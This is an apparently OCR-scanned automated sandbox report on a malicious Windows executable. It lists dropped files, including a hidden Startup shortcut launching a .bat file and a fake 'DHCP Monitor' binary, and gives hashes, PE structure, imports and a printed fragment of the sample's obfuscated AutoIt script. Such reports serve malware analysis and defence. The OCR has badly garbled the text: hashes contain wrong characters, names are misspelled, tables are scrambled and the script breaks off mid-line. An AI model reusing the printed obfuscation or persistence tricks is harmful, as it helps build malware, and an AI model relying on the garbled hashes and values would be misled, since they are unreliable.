ASCII text, with CRLF line terminators

dropped

525

5.2874233355119316

false
12:Q3LaJU20NaL10U29hJ5g1B0U2ukyrFk70Ug+9Yz9tv:MLF20NaL329hJ5g522rWz2T
61CCF53571C9ABA6511D696CBOD32E45
A13A42A20EC14942F52DB20FB16A0A520F8183CE
3459BDF6COB7FID43649ADAAF19BA8D5D133BCBESEF80CF4B7000DC91E10903B
90E180D9AG81F82C010C326456ACB8EBB89256CC769E900BFB4B2DFI2E69CA69726863B45DFE4627FC1EE8C281F2AF86A6A1E2EF1710094CCD3F4E092872F06/
false

moderate, very likely benign file

1,"fusion","GAC",0..3,"C:\Windows\assembly\Nativelmages_v2.0.50727_32\System\1ffc437de59fb69ba2b865ffdc98ffd1\System.ni.dll",0..3,"C:\Windows\assembly
\Nativelmages_v2.0.50727_32\System.Drawing\54d944b3ca0eal188d700fbd8089726b\System.Drawing.ni.dll",0..3,"C:\Windows\assembly\Nativelmages_v2.0.50727_3
2\System.Windows.Forms\bd8d59c984c9f5f2695f64341115cdf0\System.Windows.Forms.ni.dll",0..3,"C:\Windows\assembly\Nativelmages_v2.0.50727_32\Microsoft.Vi
sualBas#\cd7c74fce2a0eab72cd25che4bb61614\Microsoft.VisualBasic.ni.dll*,0..

C:\Users\luser\AppData\Local\Microsoft\CLR_v2.0_32\UsagelLogs\dhcpmon.exe.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe

ASCII text, with CRLF line terminators

modified

20

3.6841837197791887

false

3:QHXMKas:Q3Las

B3AC9D09E3A47D5FDO0C37E075A70ECB
AD14E6DOE07B00BD10D77A06D68841B20675680B
7A23C6E7CCD8811ECDF038D3A89D5C7D68ED37324BAE2D4954125D9128FA9432
09B609EE1061205AA45B3C954EFC6C1A03C8FD6B3011FF88CF2C060E19B1D7FD51EEOCBID02A39310125F3A66AA0146261BDEE3D804F472034DF711BC942E31
false

moderate, very likely benign file

1,"fusion","GAC",0..

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\Microsoft. NET\Framework\v2.0.50727\RegAsm.exe

data

dropped

8

3.0

false

3:Fo:C

CB8C55F14E620A40AF72BA9FB954B53B7
26204CAB0EDC41FE334D14B13D7D362ED1BDB63A
B31C3E533C19283D0E1C6293836D503DCB4D849FA80406E8BAIB2FI3069EA3D3
1C82B305A1E20711004A386DFD610C3335DD7EC7F14459F95935A36B6AD37FB45085EFD251B82F298823816E72AFC95416BC4B44FFBA2D5E151B02CBOF511EBE
true

low

...Oh.H

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinSAT.Ink

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):

Copyright null 2020

C:\Users\user\Desktop\d4e475d7d17al6be8b9eeac6el0b25af.exe

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Nov 20 14:23:58 2020, mtime=Fri Nov 20 14:23:58 2020, atim
e=Fri Nov 20 14:23:58 2020, length=1124928, window=hide

dropped
1049
4.993550060752574
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C:\Users\luser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinSAT.Ink

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

false

12:8b1y4gqqWOCenvRPIgsFwcAjApvUhy52t6RPIgsFw2wulMb65bW4t2Y +xIBjKZm:8JgqdOXvNcUApOE2t6N2Vc7aB6m
9605AC37B3F6DE1696D5748CEF890D4F

6EA4664E24A6B40707294E0C2C94FFOD3D29E873
2E6D3FF6EE73345692DEE4CA6BDCC2654876AB71A228E3C1E7B3108C08E2D22F

E2D0D9C0256753B62E9A20897559299DACEFBBF1BFDE6D526836A73B121D74F31BAA66937C64BC50D4E9A7F0874DAB387BECA861E2664D81245ACFD389CC04
9

false

low

| ISP Foo D.*Q...@.*Q...@.*Q...@%....ccorvrrreunen. j.:..DG..Yr?2.D..U..k0.&...&..........-.D.*Q.... Q... t...CFSF..1....tQ.{..hdwwiz....t. YA..H.g.3..(.....gVA.G. k...>
...... tQ{Q.{....deees h.d.w.w.i.z...B...2.@*..tQ.{ .DIAGNO~1.BAT........tQ.{tQ.{.....e.....................g..D.i.a.g.n.0.s.t.i.c.s.H.u.b...S.t.a.n.d.ar.d.C.o.l.l.e.c.t.or..S
.ervice..exe.bat .Ut [ C:\Users\user\hdwwiz\DiagnosticsHub.StandardCollector.Service.exe.bat..L....\....\....\... ...\ hodow
.w..z\D.iag.n.os.ticsHub..StandardCo.llector.Service..exe.bat....|.LJIH.K.. ... Keveens 562258........... la.%.H.VZA|...R..-......... -Jlan
%.H.VZA|..R..-.. ...8.-.1.-5.-.2.1.-3.8.5.3.3.2.1.9.35.-.2.1.2.5.5.6.3.2.0.9.-.4.0.5.3.0.6.2.3.3.2.-.1.0.0.2.........9...1SPS..mD..pH

Process: C:\Users\user\Desktop\d4e475d7d17al6be8b9eeac6el0b25af.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 1124928

Entropy (8bit):  7.084344199511202

Encrypted: false

SSDEEP: 24576:16bH5WwWsN1Qy5WILVVCj3jtmHanc5vuZoX2IPA5L:05BysTV23RYanc5vmo2uL
MD5: F660ED54597E4FF5354B557329CAB70D

SHA1L: 6222B1BD8920FA8FAD0507278E563E1736EBC257

SHA-256: B242D6C625537AC1CF52752A1997C035063C8E4B5648C41D443A2926F7C599E5
SHA-512: A26BEB3E4F4B52A441D53BB901B6886897CE388608B5DFIF98709F76719C5F02724DFB61C784F792629975EACA8BCB51319203C17BCED969669D53794A0CD68/
Malicious: true

Antivirus: e Antivirus: Avira, Detection: 100%

Reputation: low

Preview:

\Device\ConDrv

Process: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1010

Entropy (8bit):  4.298581893109255

Encrypted: false

SSDEEP: 24:zKTDwWL/0XZd3W030pQ5ZKBQFYVgt7ovrNOYIK:zKTDWAXZx04ABV+SrUYE

MD5: 367EEEC425FE7E80B723298C447E2F22

SHA1L: 3873DFC88AF504FF79231FE2BFOE3CD93CE45195

SHA-256: 481A7A3CAODD32DA4772718BA4C1EF3F01E8D184FE82CF6E9C5386FD343264BC
SHA-512: F7101541D87F045E9DBC45941CDC5A7F97F3EFC29AC0AF2710FC24FA64F0163F9463DE373A5D2BE1270126829DE81006FB8E764186374966E8DOE9BB35B7D7D¢
Malicious: false

Preview:

Microsoft (R) .NET Framework Assembly Registration Utility 2.0.50727.8922..Copyright (C) Microsoft Corporation 1998-2004. All rights reserved.....Syntax: RegAsm
AssemblyName [Options]..Options:.. /unregister Unregister types.. /tlb[:FileName]  Export the assembly to the specified type library.. and
register it.. /redfile[:FileName] Generate a reg file with the specified name.. instead of registering the types. This option.. cannot be

used with the /u or /tlb options.. /codebase Set the code base in the registry.. /registered Only refer to already registered type libraries.. /asmpath:Direc
tory Look for assembly references here.. /nologo Prevents RegAsm from displaying logo.. /silent Silent mode. Prevents displaying of success
messages.. /verbose Displays extra information.. /? or /help Display this usage

Static File Info

General
File type:
Entropy (8bit):

Copyright null 2020

PE32 executable (GUI) Intel 80386, for MS Windows
7.084338376698759
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General

TriD:

File name:
File size:
MD5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:

DLL Characteristics:
Time Stamp:

TLS Callbacks:
CLR (.Net) Version:
OS Version Major:
OS Version Minor:
File Version Major:

File Version Minor:

Subsystem Version Major:

Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Instruction

call 00007F2A60799B7Dh
jmp 00007F2A6078C934h

int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi

Copyright null 2020

aab2e3e39383aa00

0x42800a
text
false
0x400000

windows gui

e Win32 Executable (generic) a (10002005/4)
99.96%

Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

d4e475d7d17al6be8b9eeac6elOb25af.exe

.

.

.

1124920
5162337h6fd4c8806ef62f6ebf4a5df8
126642db1117de853d7e0ae601e0ff45358d7413

9c2edadale7bb4c3c47ca33ec0d0c377fa38e0ae498721
062432648ebf060a10

cebb47171a6a97dc9cdd52ad14561e032732a6c405a3et
f103508255ac45e8f210a2bc5c82ea2320d279809a519cf
4182cad7d5a58899f84669ef0244de5c81f

24576:16bH5WWsN1Qy5WILVVCj3jtmHanc5vuZoX2IP
A5w:05BysTV23RYanc5vmo2uw

32BIT_MACHINE, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE

TERMINAL_SERVER_AWARE, DYNAMIC_BASE

0x5CF3C8ES6 [Sun Jun 2 13:02:30 2019 UTC]

Ll ) B N © ) B R |

afcdf79be1557326c854b6e20ch900a7
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Instruction

push esi

mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
push ecx

pop eax

push ecx

pop edx

add eax, esi

cmp edi, esi

jbe 00007F2A6078CABAh
cmp edi, eax

jc 00007F2A6078CE1Eh

bt dword ptr [004C41FCh], 01h
jnc 00007F2A6078CABSh
rep movsbh

jmp 00007F2A6078CDCCh
cmp ecx, 00000080h

jc 00007F2A6078CC84h
push edi

pop eax

Xor eax, esi

test eax, 0000000Fh

jne 00007F2A6078CACOh

bt dword ptr [004BF324h], 01h
jc 00007F2A6078CF90h

bt dword ptr [004C41FCh], 00000000h
jnc 00007F2A6078CC5Dh
test edi, 00000003h

jne 00007F2A6078CC6Eh
test esi, 00000003h

jne 00007F2A6078CC4Dh

bt edi, 02h

jnc 00007F2A6078CABFh
mov eax, dword ptr [esi]

sub ecx, 04h

lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax

lea edi, dword ptr [edi+04h]
bt edi, 03h

jnc 00007F2A6078CAC3h
movqg xmm1, qword ptr [esi]
sub ecx, 08h

lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h

je 00007F2A6078CB15h

bt esi, 03h

Rich Headers

Programming Language: e [C]VS2013 build 21005

e [C]VS2008 SP1 build 30729

e [LNK] VS2013 UPD5 build 40629

e [ASM] VS2013 UPD5 build 40629

o [C++] VS2013 build 21005

e [ASM] VS2013 build 21005

e [RES] VS2013 build 21005

e [IMP] VS2008 SP1 build 30729
Data Directories
Name Virtual Address Virtual Size Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_IMPORT OxbcOcc 0x17¢ .rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE 0xc8000 0x47cbc .rsrc
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Name

IMAGE_DIRECTORY_ENTRY_EXCEPTION

IMAGE_DIRECTORY_ENTRY_SECURITY

IMAGE_DIRECTORY_ENTRY_BASERELOC

IMAGE_DIRECTORY_ENTRY_DEBUG

IMAGE_DIRECTORY_ENTRY_COPYRIGHT

IMAGE_DIRECTORY_ENTRY_GLOBALPTR

IMAGE_DIRECTORY_ENTRY_TLS

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT

IMAGE_DIRECTORY_ENTRY_IAT

IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT

IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

IMAGE_DIRECTORY_ENTRY_RESERVED

Sections

Name

text

.rdata

.data

.rsrc

.reloc

Virtual Address
0x1000

0x8f000

0xbf000

0xc8000

0x110000

Resources

Name

RT_ICON
RT_ICON
RT_ICON
RT_ICON
RT_ICON
RT_ICON
RT_ICON

RT_ICON
RT_ICON

RT_ICON
RT_ICON

RT_MENU

RT_STRING

RT_STRING

RT_STRING

RT_STRING

RT_STRING

RT_STRING

RT_STRING

RT_RCDATA

RT_RCDATA

RT_GROUP_ICON

RT_GROUP_ICON

RT_GROUP_ICON

RT_GROUP_ICON

RT_VERSION

RT_MANIFEST

Imports

Copyright null 2020

Virtual Size

0x8dfdd

0x2fd8e

0x8f74

0x47cbc

0x7134

RVA

0xc85e8
0xc8710
0xc8838
0xc8960
0xc8c48
0xc8d70
0xc9cl8

Oxca4c0

Oxcaa28

Oxccfd0
Oxce078
Oxce4e0
Oxce530
Oxceac4
0xcf150
0Oxcf5e0
Oxcfbde
0xd0238
0xd06a0
0xd07f8
Oxfc6e8
0x10f73c
0x10f7b4
0x10f7¢c8
0x10f7dc
0x10f7f0
0x10f8cc

Raw Size

0x8e000

0x2fe00

0x5200

0x47e00

0x7200

Size

0x128
0x128
0x128
0x2e8
0x128
Oxea8

0x8a8

0x568

Virtual Address

0x0
0x0

0x110000

0x92bc0
0x0

0x0

0x0
0xa4b50
0x0
0x8f000
0x0

0x0

0x0

Xored PE

False

False

False

False

False

0x25a8

0x10a8

0x468
0x50

0x594
0x68a
0x490
0x5fc

0x65¢c
0x466
0x158

0x2bef0

0x13052

0x76
0x14
0x14
0x14
Oxdc
Ox3ef

ZLIB Complexity
0.582306338028

0.328288185379

0.10175304878

0.908023097826

0.761753015351

Type
GLS_BINARY_LSB_FIRST
GLS_BINARY_LSB_FIRST
GLS_BINARY_LSB_FIRST
data
GLS_BINARY_LSB_FIRST

data

dBase Ill DBT, version number 0, next free block

index 40
GLS_BINARY_LSB_FIRST

dBase Il DBT, version number 0, next free block

index 40
data
GLS_BINARY_LSB_FIRST
data
data
data
data
data
data
data
data
data
data
data
data
data
data

data

Virtual Size

0x0

0x0

0x7134

Oxlc

0x0

0x0

0x0

0x40

0x0

0x884

0x0

0x0

0x0
File Type Entropy
data 6.72346657583
data 5.76324400576
data 1.19638192355
data 7.84935069972
data 6.78395555713

ASCII text, with CRLF line terminators

Language
English
English
English
English
English
English
English

English
English

English
English
English
English
English
English
English
English
English
English

English
English
English
English
English
English

Is in Section

.reloc

.rdata

.rdata

.rdata

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA,
IMAGE_SCN_MEM_DISCARDABLE,
IMAGE_SCN_MEM_READ

Country

Great Britain
Great Britain
Great Britain
Great Britain
Great Britain
Great Britain

Great Britain

Great Britain

Great Britain

Great Britain
Great Britain
Great Britain
Great Britain
Great Britain
Great Britain
Great Britain
Great Britain
Great Britain

Great Britain

Great Britain
Great Britain
Great Britain
Great Britain
Great Britain

Great Britain
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DLL
WSOCK32.dll

VERSION.dII
WINMM.dII
COMCTL32.dIl

MPR.dII
WININET.dII

PSAPI.DLL
IPHLPAPI.DLL
USERENV.dII
UxTheme.dll
KERNEL32.dll

USER32.dll

GDI32.dll

COMDLG32.dll

Copyright null 2020

Import

WSACIeanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, _ WSAFDIsSet,
select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname,
gethostname, connect

GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
timeGetTime, waveOutSetVolume, mciSendStringW

ImageList_Replacelcon, ImageList_Destroy, ImageList_ Remove, ImageList_SetDragCursorimage,
ImageList_BeginDrag, ImageList_DragEnter, ImageList_DraglLeave, ImageList_EndDrag, ImageList_DragMove,
InitCommonControlsEx, ImageList_Create

WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W

InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW,
HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize,
InternetOpenUrIW, InternetReadFile, InternetConnectW

GetProcessMemorylInfo

IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho

DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
IsThemeActive

DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep,
GetCurrentThreadld, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary,
LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, IstrcpyW, IstrlenW,
GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory,
ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers,
TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime,
GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW,
DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW,
SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource,
SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW,
DeviceloControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection,
GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW,
CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW,
WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW,
GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime,
LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumelnformationW,
SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW,
SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx,
Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW,
GetCurrentProcessld, GetProcessloCounters, CreateProcessW, GetProcessld, SetPriorityClass, LoadLibraryW,
VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, IstrcmpiW, DecodePointer, GetLastError, RaiseException,
InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, Interlockedincrement,
GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW,
ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent,
IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter,
SetUnhandledExceptionFilter, TIsAlloc, TIsGetValue, TIsSetValue, TIsFree, GetStartupInfoW, GetStringTypeW,
SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW,
GetTimeZonelnformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW,
FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA

AdjustWindowRectEx, Copylmage, SetWindowPos, GetCursorinfo, RegisterHotKey, ClientToScreen,
GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW,
GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorinfoW, SetWindowLongW,
SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW,
GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtinRect,
DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics,
GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu,
GetWindowTextLengthW, CreateMenu, IsDIgButtonChecked, DefDIgProcW, CallwindowProcW, ReleaseCapture,
SetCapture, CreatelconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW,
EnumThreadWindows, SetMenuDefaultltem, InsertMenultemW, IsMenu, TrackPopupMenuEx, GetCursorPos,
DeleteMenu, SetRect, GetMenultemID, GetMenultemCount, SetMenultemInfoW, GetMenultemInfoWw,
SetForegroundWindow, Islconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState,
SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW,
MessageBeep, EndDialog, SendDlgltemMessageW, GetDlgltem, SetWindowTextW, CopyRect, ReleaseDC, GetDC,
EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow,
IswWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW,
GetWindowThreadProcessld, AttachThreadlnput, GetFocus, GetWindowTextW, ScreenToClient,
SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDIgCtrlID, SendMessageW,
MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation,
OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW,
GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard,
CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, Blockinput,
GetMessageW, LockWindowUpdate, DispatchM jeW, TranslateM ge, PeekM geW, UnregisterHotKey,
CheckMenuRadioltem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu,
RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadlconW,
LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, Destroylcon, SystemParametersinfoWw,
LoadlmageW, GetClassNameW

StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure,
CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEX,
Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw,
BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen,
CreateSolidBrush, StrokeAndFillPath

GetOpenFileNameW, GetSaveFileNameW
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DLL
ADVAPI32.dIl

SHELL32.dll

ole32.dll

OLEAUT32.dII

Version Infos

Description

Translation

Possible Origin

Language of compilation system

English

Static AutolT Info

General
Code:

Copyright null 2020

Import

GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW,
RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor,
InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW,
DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW,
AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation,
GetSecurityDescriptorDacl, GetAclinformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW,
InitiateSystemShutdownExW

DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW,
SHBrowseForFolderW, SHCreateShellltem, SHGetDesktopFolder, SHGetSpecialFolderLocation,
SHGetFolderPathW, SHFileOperationW, ExtracticonExW, Shell_NotifylconW, ShellExecuteW, DragFinish

CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID,
OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreatelnstance, IIDFromString,
StringFromGUID2, CreateStreamOnHGlobal, Olelnitialize, OleUninitialize, Colnitialize, CoUninitialize,
GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreatelnstanceEx,
ColnitializeSecurity

LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor,
SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData,
SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc,
VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy,
VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser,
UnRegisterTypeLib, CreateDispTypelnfo, SysAllocString, Variantinit

Data
0x0809 0x04b0

Country where language is spoken Map

Great Britain

LOCAL $NSFYZHFKYP = EXECUTE

LOCAL $EOERUAQRJISKN = $NSFYZHFKYP ("DlIStructGetData" )
LOCAL $DWUFUAPKESAJ = $NSFYZHFKYP ("BinaryToString" )
FUNC LUXBZMCWKPOC ($STEXT , $SYMBOL )

GLOBAL $1300820860 = 256356752

GLOBAL $MIFHIFVYOW = 1654813

FOR $E =0 TO 1029680

IF $1300820860 = 176683708 THEN

RETURN $RESULT

WINEXISTS
("cNI3BR229gAzqAgEUZKZVWCOCcVIa32WhXtsmSQFEgNhbfvHYqV7k4djZJ9iii19hutL7Th3WO4
)

EXITLOOP

ENDIF

IF $1300820860 = 256356752 THEN

$RESULT = STRINGREPLACE ($STEXT , $SYMBOL , ")

ISBOOL (818823 * 493411 * 2406282 + 2130956 )

$1300820860 = 176683708

ISSTRING ("yNaRVUKQw8rqYhclizB6xh2ITgeXOqeiGTUCNTY6Kewi" )
ENDIF

STRING ("'rDseA9gqWY800X" )

NEXT

ENDFUNC

FUNC EWYPFYGPXIKHY ($IMGFULLPATH )

GLOBAL $1138660241 = 256356752

GLOBAL $G4JUFXIGZL = 90924

FOR $E = 0 TO 2054991

IF $1138660241 = 113519199 THEN

GUIDELETE ($HWND)

1ISBOOL
("OQWXVdfTCRZVjrYdqoDJsbHUeRIgQEdpJ59hNsifNw42SNBnFpEDeYANILTeE8c7MJIkNrR
y7fy66gOczouJAal” )

$1138660241 = 1027989821

RANDOM (130856 )

ENDIF

IF $1138660241 = 176683708 THEN

$HWND = GUICREATE ($IMGFULLPATH ,0,0,0, 0, BITOR (2147483648 , 536870912 ) ,
BITOR (128,32))

ISBOOL (1265171 + 520477 + 4293992654 * 3327821 )

$1138660241 = 1300820860

CHR (2730490)

1ISBOOL

("sZkxL7eyyS6SwwaY pLjA469yVICkE4aYFBqozrSakTdG9hDkx2L2xcQvOWMbD34ERil4f" )
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General
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ENDIF

IF $1138660241 = 256356752 THEN

LOCAL $HWND , $HGUISWITCH , $ACTRLSIZE , $ARETSIZE[2]=[0,0]
RANDOM (3641423 )

$1138660241 = 176683708

ENDIF

IF $1138660241 = 1027989821 THEN

GUISWITCH ($HGUISWITCH )

EXITLOOP

INT (3107136

ENDIF

IF $1138660241 = 1203322726 THEN

$ACTRLSIZE = CONTROLGETPOS ($HWND , ", GUICTRLCREATEPIC ($IMGFULLPATH ,
0,0,0,0))

DIM $DW5YMNQFQYIO05IELCM7 = 964435 * 1963137 + 4293423702 + 4294948098
$1138660241 = 113519199

DIM $RNHTSIKWVTNM8WTLIRGN = 647030

ENDIF

IF $1138660241 = 1300820860 THEN

$HGUISWITCH = GUISWITCH ($HWND )

$1138660241 = 1203322726

CHR (45484 )

ENDIF

DIM $URHNA3OSSULYHJIVXSX77 = 600218 + 4293462533 + 4294915318 * 2918734 +
4292984733

NEXT

IF ISARRAY ($ACTRLSIZE ) THEN

GLOBAL $1203322726 = 256356752

GLOBAL $CSY08UBDGU = 2740256

FOR $E =0 TO 3691754

IF $1203322726 = 176683708 THEN

$ARETSIZE [1] = $ACTRLSIZE [3]

$1203322726 = 1300820860

INT (967164 )

ENDIF

IF $1203322726 = 256356752 THEN

$ARETSIZE [0 ] = $ACTRLSIZE [2]

$1203322726 = 176683708

ISBOOL ("k2nLrtagkAvZrMcSm68iRAhbvf6LDIz2qGkenTjp23hXhFfTjNJ8Ke3TUIgIxxW8bCIV"
)

ENDIF

IF $1203322726 = 1300820860 THEN

RETURN SETERROR (0, 0, $ARETSIZE )

EXITLOOP

ENDIF

MOD (3165406 , 1234085 )

NEXT

ENDIF

RETURN SETERROR (1, 0, $ARETSIZE )

ENDFUNC

FUNC VRCRUWMXTTRH ($SSTRING , $IREPEATCOU